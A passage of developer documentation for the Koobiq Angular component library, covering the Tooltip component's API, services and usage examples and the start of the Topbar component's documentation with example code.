                ngSrc="./assets/images/tooltip/tooltip-example.webp"
                srcset="./assets/images/tooltip/tooltip-example@2x.webp 2x"
                width="296"
                height="222"
                alt="tooltip-example"
            />
            <div>
                A geocentric orbit, also known as an Earth-centered orbit, is the curved trajectory of an object, such
                as the Moon or thousands of artificial satellites and debris, around the planet Earth.
            </div>
        </ng-template>

        <ng-template #tableContent>
            <div
                class="layout-row layout-gap-xs layout-padding-top-m layout-padding-bottom-s layout-padding-left-l layout-padding-right-l"
            >
                <span class="kbq-text-normal-strong">Confidence</span>
                <span class="kbq-mono-normal" style="color: var(--kbq-foreground-warning)">0,0001</span>
            </div>
            <kbq-divider />
            <table kbq-table class="layout-padding-bottom-l">
                <thead>
                    <tr>
                        <th class="layout-padding-left-l">Incident Type</th>
                        <th>Detected</th>
                        <th class="layout-padding-right-l">Updated</th>
                    </tr>
                </thead>
                <tbody>
                    @for (row of data; track $index) {
                        <tr>
                            <td class="layout-padding-left-l">{{ row.type }}</td>
                            <td class="kbq-tabular-normal">{{ row.detected }}</td>
                            <td class="kbq-tabular-normal layout-padding-right-l">{{ row.updated }}</td>
                        </tr>
                    }
                </tbody>
            </table>
        </ng-template>
    `,
    styles: `
        ::ng-deep .example__custom-tooltip.kbq-tooltip {
            --kbq-tooltip-size-max-width: 320px;
            width: 320px;
        }

        ::ng-deep .example__custom-tooltip-img {
            border-radius: var(--kbq-size-xxs);
            background: #000101;
            min-width: 296px;
            min-height: 222px;
        }

        ::ng-deep .example__custom-extended-tooltip.kbq-tooltip {
            --kbq-tooltip-size-max-width: 480px;
            --kbq-tooltip-size-padding-vertical: 0;
            --kbq-tooltip-size-padding-horizontal: 0;
            width: 480px;
        }

        table {
            width: 100%;
        }

        tr > td {
            font-variant-numeric: slashed-zero;

            &:first-child {
                width: 45%;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-column layout-align-center-start layout-gap-l'
    }
})
export class TooltipExtendedExample {
    protected readonly extendedTooltipPreferredColor = KbqComponentColors.ContrastFade;

    protected readonly data = [
        {
            type: 'Malware Infection',
            detected: 'Feb 18, 15:30',
            updated: 'Feb 18, 15:33'
        },
        {
            type: 'Phishing Attack',
            detected: 'Feb 18, 15:33',
            updated: 'Feb 18, 15:33'
        },
        {
            type: 'Data Breach',
            detected: 'Feb 18, 15:33',
            updated: 'Feb 18, 15:33'
        },
        {
            type: 'DoS/DDoS Attack',
            detected: 'Feb 18, 15:33',
            updated: 'Feb 18, 15:33'
        }
    ];
}
```

#### Recommendations

- If you need to use interactive elements (buttons, links, etc.) inside the tooltip, use [Popover](https://koobiq.io/en/components/popover.md) instead.
- The Tooltip component is always preferable to the system one. Don't use both methods simultaneously in the same interface.
- For tooltips to work effectively, it's important to keep them brief and clear. Long explanations can be difficult to read and distracting, so it's best to avoid them.
- The tooltip height depends on the content. The recommended maximum height is 480px (may be increased at the designer's discretion).

### API

#### Components

##### KbqTooltipComponent (component)

```ts
@Component({ selector: 'kbq-tooltip-component' })
class KbqTooltipComponent extends KbqPopUp {
    prefix: string;
    get elementRef(): ElementRef<HTMLElement>;
    readonly destroyRef: DestroyRef;
    readonly hovered: Signal<boolean>;
    trigger: KbqPopUpTrigger<unknown>;
    header: string | TemplateRef<unknown>;
    content: string | TemplateRef<unknown>;
    context: { $implicit: unknown } | null;
    classMap: {};
    arrow: boolean;
    arrowCentered: boolean;
    defaultPaddings: boolean;
    offset: number | null;
    visibility: PopUpVisibility;
    visibleChange: EventEmitter<boolean>;
    show(delay: number): void;
    updateClassMap(
        placement: string,
        customClass: string,
        { modifier }: { modifier: KbqEnumValues<TooltipModifier> }
    ): void;
    isTemplateRef(value: any): boolean;
    hide(delay: number): void;
    isVisible(): boolean;
    afterHidden(): Observable<void>;
    detectChanges(): void;
}
```

- `elementRef`: `ElementRef<HTMLElement>` — The tooltip panel, which the base pop-up measures and decorates instead of the host.
- `hovered`: `Signal<boolean>` — Whether the pointer is over the pop-up.
- `classMap`: `{}` — CSS classes of the pop-up element: the placement, the custom class and the modifiers of the subclass.
- `arrowCentered`: `boolean` — Whether the arrow points at the origin center while the panel keeps its placement. Defaults to `false`.
- `visibility`: `PopUpVisibility` — Stage of the pop-up's life: not shown yet, visible, or hidden.
- `hide()`: `void` — Hides the popup after a specified delay.

  The hide timeout triggers the hiding of the popup by updating visibility and emitting relevant events.
  - `delay`: `number` — The delay in milliseconds before hiding the popup.
- `afterHidden()`: `Observable<void>` — Returns an observable that notifies when the tooltip has been hidden from view.

#### Directives

##### KbqTooltipTrigger (directive)

Trigger directive that shows a `KbqTooltipComponent` for its host element. Extends `KbqPopUpTrigger` with
tooltip-specific inputs (content, placement, color, arrow, enter/leave delays, modifier and header) and
behavior such as opening on keyboard focus only and positioning relative to the mouse cursor.

```ts
@Directive({ selector: '[kbqTooltip]', exportAs: 'kbqTooltip' })
class KbqTooltipTrigger extends KbqPopUpTrigger<KbqTooltipComponent> implements KbqExclusiveTooltip {
    readonly forDisabledComponent = input<Record<'disabledSignal', WritableSignal<boolean>>>();
    readonly ignoreTooltipPointerEvents = input<boolean>(false);
    readonly singleInstance = input<boolean>(
        inject(KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT),
        { alias: 'kbqTooltipSingleInstance' }
    );
    hideWithTimeout = input<boolean | undefined>();
    tooltipVisible: boolean;
    tooltipPlacement: KbqPopUpPlacementValues;
    relativeToPointer: boolean;
    relativeToCaret: boolean;
    relativeToCaretVertical: KbqCaretVerticalAnchor;
    tooltipPlacementPriority: string | string[] | null;
    content: string | TemplateRef<unknown>;
    disabled: boolean;
    enterDelay: number;
    leaveDelay: number;
    trigger: string;
    customClass: string;
    context: unknown;
    color: KbqComponentColors | string;
    arrow: boolean;
    arrowCentered: boolean;
    offset: number | null;
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    modifier: KbqEnumValues<TooltipModifier>;
    header: string | TemplateRef<unknown>;
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    show(delay?: number): void;
    hide(delay?: number): void;
    showForMouseEvent(event: MouseEvent): void;
    showForElement(element: HTMLElement): void;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[forDisabledComponent]`: `Record<'disabledSignal', WritableSignal<boolean>>` — Input for controlling the disabled state of a component.

  The input expects a component containing `disabledSignal` property, which is
  a writable signal emitting boolean values.
- `[ignoreTooltipPointerEvents]`: `boolean` — Determines whether pointer events should be ignored on tooltips.

  When set to `true`, the tooltip pane does not receive pointer events, so clicks and hovers pass through
  to whatever is underneath it. Defaults to `false`, which keeps the tooltip hoverable: a user who needs
  more time to read it — or who reads at high magnification, where the pointer often ends up over the
  tooltip itself — can move the pointer onto it without it disappearing (WCAG 1.4.13 "Content on Hover").

  Set it to `true` for tooltips that float over other click targets, such as the overflow hints of a
  scrolling option list.
- `[kbqTooltipSingleInstance]`: `boolean` — Whether the tooltip takes part in the "only one tooltip is visible at a time" group: showing it
  hides the previously visible tooltip, and it is hidden when another tooltip is shown.

  Defaults to `true`; the default can be changed application-wide with the
  `KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT` token.

  Tooltips without an interactive `kbqTrigger` (`manual`, `none`, …) never take part in the group,
  regardless of this input — they are shown imperatively and are expected to stay pinned.
- `[hideWithTimeout]`: `boolean | undefined` — Changes hiding behavior. By default, tooltip is hidden on mouseleave from trigger.
  Setting hideWithTimeout to true will delay tooltip hiding and will not hide when the mouse moves from trigger
  to tooltip.
- `tooltipVisible`: `boolean` — Input (`kbqVisible`) that programmatically shows or hides the tooltip; reflects the current `visible` state.
- `tooltipPlacement`: `KbqPopUpPlacementValues` — Input (`kbqPlacement`) that sets the tooltip placement relative to its trigger; reflects the current `placement`.
- `relativeToPointer`: `boolean` — Positions the tooltip relative to the mouse cursor. Only available for top and bottom kbqPlacement.
  Does not work with kbqPlacementPriority.
- `relativeToCaret`: `boolean` — Positions the tooltip relative to the text caret of the field it is attached to, following it while the
  user types, moves the caret and scrolls the field. Anchors to the selection whenever there is one.

  Every placement is available, unlike with `kbqRelativeToPointer`: the caret is anchored as a rectangle,
  so the usual fallback placements keep the tooltip on screen. Wins when both inputs are enabled.

  The field is the host element itself when it is editable, otherwise the first editable it wraps.
- `relativeToCaretVertical`: `KbqCaretVerticalAnchor` — What the tooltip is vertically anchored to while `kbqRelativeToCaret` is enabled.
- `tooltipPlacementPriority`: `string | string[] | null` — Input (`kbqPlacementPriority`) that sets the ordered fallback placements; reflects the current `placementPriority`.
- `content`: `string | TemplateRef<unknown>` — Input (`kbqTooltip`) with the tooltip content — a string or a template. Updating it refreshes an open tooltip.
- `disabled`: `boolean` — Input (`kbqTooltipDisabled`) controlling whether the tooltip is disabled; setting it to `true` hides it.
  `undefined` leaves the decision to the trigger, like an unset input.

  Reads back the *effective* state, which for triggers that derive one of their own (see
  `derivedDisabledWins`) is not necessarily the value that was written.
- `enterDelay`: `number` — Input (`kbqEnterDelay`) — delay in milliseconds before the tooltip is shown. Defaults to `400`.
- `leaveDelay`: `number` — Input (`kbqLeaveDelay`) — delay in milliseconds before the tooltip is hidden. Defaults to `0`.
- `trigger`: `string` — Input (`kbqTrigger`) with the comma-separated trigger events. An empty value resets to hover + focus and rebinds listeners.
- `customClass`: `string` — Input (`kbqTooltipClass`) with an extra CSS class applied to the tooltip; updating it refreshes the class map.
- `context`: `unknown` — Input (`kbqTooltipContext`) with the context object passed to a template tooltip; updating it refreshes the open tooltip.
- `color`: `KbqComponentColors | string` — Input (`kbqTooltipColor`) with the tooltip color theme. Defaults to `KbqComponentColors.Contrast`.
- `arrow`: `boolean` — Input (`kbqTooltipArrow`) — whether to render the tooltip's arrow/pointer. Defaults to `false`.
- `arrowCentered`: `boolean` — Input (`kbqTooltipArrowCentered`) — centers the arrow on the trigger while preserving the panel placement.
  Requires a visible arrow. Defaults to `false`.
- `offset`: `number | null` — Input (`kbqTooltipOffset`) — distance in pixels between the tooltip and its trigger. `null` keeps
  the gap of the stylesheet. Defaults to the `offset` of `KBQ_TOOLTIP_DEFAULT_OPTIONS`, when a
  provider in scope set one. Inside a provider scope such as the navbar's, `null`/`undefined` restores
  that inherited default.
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Output (`kbqPlacementChange`) that emits the new placement whenever the tooltip repositions.
- `visibleChange`: `EventEmitter<boolean>` — Output (`kbqVisibleChange`) that emits when the tooltip's visibility changes.
- `modifier`: `KbqEnumValues<TooltipModifier>` — Visual variant of the tooltip. Accepts `'default'` | `'warning'` | `'extended'`.
  Replaces the removed `KbqWarningTooltipTrigger` and `KbqExtendedTooltipTrigger`
  subclasses — to render a warning tooltip use `kbqTooltipModifier="warning"`,
  and `kbqTooltipModifier="extended"` for the extended variant (combine with `kbqTooltipHeader`).
- `header`: `string | TemplateRef<unknown>` — Header text or template, rendered above the tooltip content. Only meaningful with
  `kbqTooltipModifier="extended"`. Replaces the removed `KbqExtendedTooltipTrigger.header`.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `show()`: `void` — Shows the tooltip after `delay` ms. Suppresses showing while a pop-up on the same element holds the
  anchor or on a focus trigger that did not originate from the keyboard, and applies cursor-relative
  positioning when `relativeToPointer` is enabled.
- `hide()`: `void` — Hides the tooltip after `delay` ms and, when the user has genuinely left the host, un-mutes a tooltip
  that a pop-up on the same element had muted.

  `mouseleave` and `blur` are the release signals because the base class binds `hide` to both regardless
  of whether the tooltip is currently visible. A pop-up that is still attached does not count: its
  backdrop steals the hover from the trigger while the pointer stands still, and that `mouseleave` must
  not be mistaken for the user leaving.
- `showForMouseEvent()`: `void` — Shows the tooltip next to the cursor position of the given mouse event, anchoring it to the event's
  `currentTarget` instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template — for instance for a tooltip shared by the
  cells of a virtualized table. The directive still has to be created in an injection context.
- `showForElement()`: `void` — Shows the tooltip anchored to the given element instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template. The directive still has to be created in an
  injection context:

  ```ts
  const tooltip = runInInjectionContext(injector, () => new KbqTooltipTrigger());
  tooltip.showForElement(element);
  ```

  Does nothing while the tooltip is disabled or has no content — there is no overlay to anchor then.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

#### Services

##### KbqTooltipDelayTracker (service)

Remembers when a tooltip was last shown, so that moving between neighbouring triggers does not replay the
enter delay for every one of them: the first tooltip waits `kbqEnterDelay`, the ones following it within
`KBQ_TOOLTIP_INSTANT_SHOW_WINDOW` appear instantly.

Application-wide by design — the behavior is part of the component's documented delay rules.

```ts
@Injectable({ providedIn: 'root' })
class KbqTooltipDelayTracker {
    shouldSkipEnterDelay(): boolean;
    markShown(): void;
    reset(): void;
}
```

- `shouldSkipEnterDelay()`: `boolean` — Whether the tooltip that is about to be shown should skip its enter delay.
- `markShown()`: `void` — Records that a tooltip has just been shown.
- `reset()`: `void` — Forgets the last shown tooltip, so the next one appears with its full enter delay.

##### KbqTooltipRegistry (service)

Keeps track of the single tooltip that is currently visible, so that showing a new one hides the
previous. Holds the *trigger*, not the overlay component — the latter is re-created on every show.

```ts
@Injectable({ providedIn: 'root' })
class KbqTooltipRegistry {
    setVisible(tooltip: KbqExclusiveTooltip): void;
    clearVisible(tooltip: KbqExclusiveTooltip): void;
}
```

- `setVisible()`: `void` — Marks the tooltip as the only visible one, hiding the previously visible tooltip.
- `clearVisible()`: `void` — Clears the registry, but only when the given tooltip is still the registered one. The guard
  matters because hiding the previous tooltip is asynchronous: its `visibleChange(false)` arrives
  after the new tooltip has already been registered, and must not wipe that newer entry.

#### Types

##### KbqCaretVerticalAnchor (type)

What the tooltip is vertically anchored to when it is positioned relative to the caret:

- `'line'` — the line of text the caret is on.
- `'field'` — the whole field, so the tooltip never covers it; horizontally it still follows the caret.
- `'auto'` — `'field'` for a single-line `<input>`, `'line'` for everything else.

```ts
type KbqCaretVerticalAnchor = 'auto' | 'line' | 'field';
```

##### KbqTooltipDefaultOptions (interface)

Default options inherited by every tooltip in the token's scope. A bound input still wins: `kbqTooltipOffset`
overrides `offset`, and a binding that changes to `undefined` restores the inherited value.

```ts
interface KbqTooltipDefaultOptions {
    readonly offset?: number | null;
    readonly panelClass?: string | string[];
}
```

- `offset?`: `number | null` — Distance in pixels between the tooltip and its trigger, used while `kbqTooltipOffset` is not bound.
  `null` keeps the gap of the stylesheet.
- `panelClass?`: `string | string[]` — Extra CSS class applied to the tooltip's overlay panel.

#### Enums

##### TooltipModifier (enum)

```ts
enum TooltipModifier {
    Default = 'default',
    Warning = 'warning',
    Extended = 'extended'
}
```

#### Constants

##### KBQ_TOOLTIP_INSTANT_SHOW_WINDOW (const)

Length in milliseconds of the window during which a tooltip shown right after another one appears
instantly. Defaults to `MIN_TIME_FOR_DELAY`.

```ts
const KBQ_TOOLTIP_INSTANT_SHOW_WINDOW: InjectionToken<number>;
```

##### KBQ_TOOLTIP_OPEN_TIME (const)

Deprecated: Replaced by `KbqTooltipDelayTracker`, which owns the shared timestamp behind a service
instead of a mutable `useValue` object. The tooltip no longer reads this token; providing it has no effect. Will be
removed in 22.0.0.

```ts
const KBQ_TOOLTIP_OPEN_TIME: InjectionToken<{ value: number }>;
```

##### KBQ_TOOLTIP_SCROLL_STRATEGY (const)

```ts
const KBQ_TOOLTIP_SCROLL_STRATEGY: InjectionToken<() => ScrollStrategy>;
```

##### KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT (const)

Default value of the `kbqTooltipSingleInstance` input. Provide `false` at the application level to
globally disable the "only one tooltip is visible at a time" behavior.

```ts
const KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT: InjectionToken<boolean>;
```

##### MIN_TIME_FOR_DELAY (const)

Default length of the window during which a following tooltip is shown without its enter delay.

```ts
const MIN_TIME_FOR_DELAY: number;
```

### Examples

#### Interactive Tooltip

In this example, the tooltip hides with a delay and stays open if the user moves the cursor from the trigger to the tooltip in time.

**Example: tooltip-interactive** (`tooltip-interactive`)

```ts tooltip-interactive-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-interactive-example',
    imports: [
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule
    ],
    template: `
        <div class="layout-column" style="gap: 16px; align-items: flex-start">
            <button kbq-button kbqTooltip="Тултип" [hideWithTimeout]="true">Кнопка с тултипом</button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TooltipInteractiveExample {}
```

#### Dynamic Tooltip

In this example, the tooltip is created dynamically on mouseenter.

**Example: tooltip-dynamic-example** (`tooltip-dynamic`)

```ts tooltip-dynamic-example.ts
import { ChangeDetectionStrategy, Component, inject, Injector, runInInjectionContext } from '@angular/core';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagsModule } from '@koobiq/components/tags';
import { KbqToolTipModule, KbqTooltipTrigger } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-dynamic-example',
    imports: [
        KbqToolTipModule,
        KbqIconModule,
        KbqTagsModule
    ],
    template: `
        <div
            class="layout-column"
            style="border: 1px solid var(--kbq-line-contrast-fade); padding: 16px; width: 300px; overflow: hidden; overflow-x: auto"
        >
            <kbq-tag style="min-width: 1000px" (mouseenter)="onMouseenter($event)" (mouseleave)="onMouseleave()">
                (users.name ILIKE '%john%' OR users.email ILIKE '%john%') OR (users.name ILIKE '%doe%' OR users.email
                ILIKE '%doe%') OR (users.name ILIKE '%developer%' OR users.bio ILIKE '%developer%')
            </kbq-tag>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TooltipDynamicExample {
    private readonly injector = inject(Injector);

    private dynamicTooltip: KbqTooltipTrigger;

    protected onMouseenter(event) {
        if (!this.dynamicTooltip) {
            runInInjectionContext(this.injector, () => (this.dynamicTooltip = new KbqTooltipTrigger()));
        }

        this.dynamicTooltip.content = event.currentTarget.innerText;
        this.dynamicTooltip.tooltipPlacement = PopUpPlacements.Top;
        this.dynamicTooltip.showForMouseEvent(event);
    }

    protected onMouseleave() {
        this.dynamicTooltip.hide();
    }
}
```

#### Disabled state

**Example: Tooltip disabled** (`tooltip-disabled-for-component`)

```ts tooltip-disabled-for-component-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

@Component({
    selector: 'tooltip-disabled-for-component-example',
    imports: [KbqToolTipModule, KbqButtonModule, KbqIconModule, KbqLink],
    template: `
        <button kbq-button (click)="disableState = !disableState">toggle</button>

        <div kbqTooltip="kbq-button" [forDisabledComponent]="button">
            <button #button kbq-button aria-label="Add" [disabled]="disableState">
                <i kbq-icon="kbq-plus_16"></i>
            </button>
        </div>

        <div kbqTooltip="kbq-icon-button" [forDisabledComponent]="iconButton">
            <i #iconButton #button kbq-icon-button="kbq-plus_16" color="theme" [disabled]="disableState"></i>
        </div>

        <div kbqTooltip="kbqLink" [forDisabledComponent]="link">
            <a
                #link="kbqLink"
                kbqLink
                kbqTooltip="Create"
                href="https://koobiq.io"
                target="_blank"
                [disabled]="disableState"
            >
                kbq-link
            </a>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center layout-gap-l'
    }
})
export class TooltipDisabledForComponentExample {
    disableState: boolean = false;
}
```

## Topbar

- Entry point: `@koobiq/components/top-bar`
- NgModule: `KbqTopBarModule`
- Page: https://koobiq.io/en/components/top-bar/overview

### Overview

Topbar is a toolbar that always remains visible on the page and provides quick access to navigation and controls.

**Example: TopBar** (`top-bar-overview`)

```ts top-bar-overview-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { map } from 'rxjs/operators';

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
};

@Component({
    selector: 'top-bar-overview-example',
    imports: [
        KbqTopBarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqOverflowItemsModule
    ],
    template: `
        <kbq-top-bar>
            <div class="layout-row layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="layout-row layout-margin-right-l flex-none">
                    <img alt="example icon" src="https://koobiq.io/assets/example-icon.svg" width="24" height="24" />
                </div>
                <div class="kbq-truncate-line" kbqTopBarTitle>Dashboards</div>
            </div>

            <div kbqTopBarSpacer></div>

            <div kbqTopBarContainer placement="end">
                <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                    @for (action of actions; track action.id) {
                        <button
                            kbq-button
                            [kbqOverflowItem]="action.id"
                            [kbqStyle]="action.style"
                            [color]="action.color"
                            [kbqPlacement]="PopUpPlacements.Bottom"
                            [kbqTooltipArrow]="false"
                            [kbqTooltipDisabled]="isDesktop()"
                            [kbqTooltip]="action.text || action.id"
                        >
                            @if (action.icon) {
                                <i kbq-icon="" [class]="action.icon"></i>
                            }
                            @if ((action.text && isDesktop()) || (!action.icon && action.text)) {
                                {{ action.text }}
                            }
                        </button>
                    }

                    <div kbqOverflowItemsResult>
                        <button
                            kbq-button
                            aria-label="More"
                            [kbqStyle]="KbqButtonStyles.Transparent"
                            [color]="KbqComponentColors.Contrast"
                            [kbqDropdownTriggerFor]="appDropdown"
                        >
                            <i kbq-icon="kbq-ellipsis-horizontal_16"></i>
                        </button>

                        <kbq-dropdown #appDropdown="kbqDropdown">
                            @for (action of actions; track action.id) {
                                @if (kbqOverflowItems.hiddenItemIDs().has(action.id)) {
                                    <button kbq-dropdown-item>
                                        {{ action.text || action.id }}
                                    </button>
                                }
                            }
                        </kbq-dropdown>
                    </div>
                </div>
            </div>
        </kbq-top-bar>
    `,
    styles: `
        :host {
            .kbq-top-bar-container_start {
                --kbq-top-bar-container-start-min-width: 115px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TopBarOverviewExample {
    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    protected readonly actions: ExampleAction[] = [
        {
            id: '1',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-list_16',
            text: 'List'
        },
        {
            id: '2',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-filter_16',
            text: 'Filter'
        },
        {
            id: '3',
            color: KbqComponentColors.Contrast,
            style: '',
            icon: 'kbq-plus_16',
            text: 'Create dashboard'
        }
    ];

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;
}
```

Depending on the interface requirements, it may include a logo, a title, breadcrumbs, action buttons, and other elements.

#### Page title

This content option is suitable for initial screens when there is no need to display the navigation path. Mark the
title with `[kbqTopBarTitle]`: it has the same size as `size="big"` breadcrumbs, so a page that switches between the
two keeps the bar height and the text position. Add `kbq-truncate-line` to keep a long title on one line; without it
the title wraps and the bar grows with it.

**Example: TopBar** (`top-bar-overview`)

```ts top-bar-overview-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { map } from 'rxjs/operators';

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
};

@Component({
    selector: 'top-bar-overview-example',
    imports: [
        KbqTopBarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqOverflowItemsModule
    ],
    template: `
        <kbq-top-bar>
            <div class="layout-row layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="layout-row layout-margin-right-l flex-none">
                    <img alt="example icon" src="https://koobiq.io/assets/example-icon.svg" width="24" height="24" />
                </div>
                <div class="kbq-truncate-line" kbqTopBarTitle>Dashboards</div>
            </div>

            <div kbqTopBarSpacer></div>

            <div kbqTopBarContainer placement="end">
                <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                    @for (action of actions; track action.id) {
                        <button
                            kbq-button
                            [kbqOverflowItem]="action.id"
                            [kbqStyle]="action.style"
                            [color]="action.color"
                            [kbqPlacement]="PopUpPlacements.Bottom"
                            [kbqTooltipArrow]="false"
                            [kbqTooltipDisabled]="isDesktop()"
                            [kbqTooltip]="action.text || action.id"
                        >
                            @if (action.icon) {
                                <i kbq-icon="" [class]="action.icon"></i>
                            }
                            @if ((action.text && isDesktop()) || (!action.icon && action.text)) {
                                {{ action.text }}
                            }
                        </button>
                    }

                    <div kbqOverflowItemsResult>
                        <button
                            kbq-button
                            aria-label="More"
                            [kbqStyle]="KbqButtonStyles.Transparent"
                            [color]="KbqComponentColors.Contrast"
                            [kbqDropdownTriggerFor]="appDropdown"
                        >
                            <i kbq-icon="kbq-ellipsis-horizontal_16"></i>
                        </button>

                        <kbq-dropdown #appDropdown="kbqDropdown">
                            @for (action of actions; track action.id) {
                                @if (kbqOverflowItems.hiddenItemIDs().has(action.id)) {
                                    <button kbq-dropdown-item>
                                        {{ action.text || action.id }}
                                    </button>
                                }
                            }
                        </kbq-dropdown>
                    </div>
                </div>
            </div>
        </kbq-top-bar>
    `,
    styles: `
        :host {
            .kbq-top-bar-container_start {
                --kbq-top-bar-container-start-min-width: 115px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TopBarOverviewExample {
    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    protected readonly actions: ExampleAction[] = [
        {
            id: '1',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-list_16',
            text: 'List'
        },
        {
            id: '2',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-filter_16',
            text: 'Filter'
        },
        {
            id: '3',
            color: KbqComponentColors.Contrast,
            style: '',
            icon: 'kbq-plus_16',
            text: 'Create dashboard'
        }
    ];

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;
}
```

If you need to display the number of objects on the current page, you can do so by showing a special counter next to the page title:

**Example: TopBar With Title And Counter** (`top-bar-title-counter`)

```ts top-bar-title-counter-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, KbqFormattersModule, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { map } from 'rxjs/operators';

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
    alwaysVisible?: boolean;
};

@Component({
    selector: 'top-bar-title-counter-example',
    imports: [
        KbqTopBarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqOverflowItemsModule,
        KbqFormattersModule
    ],
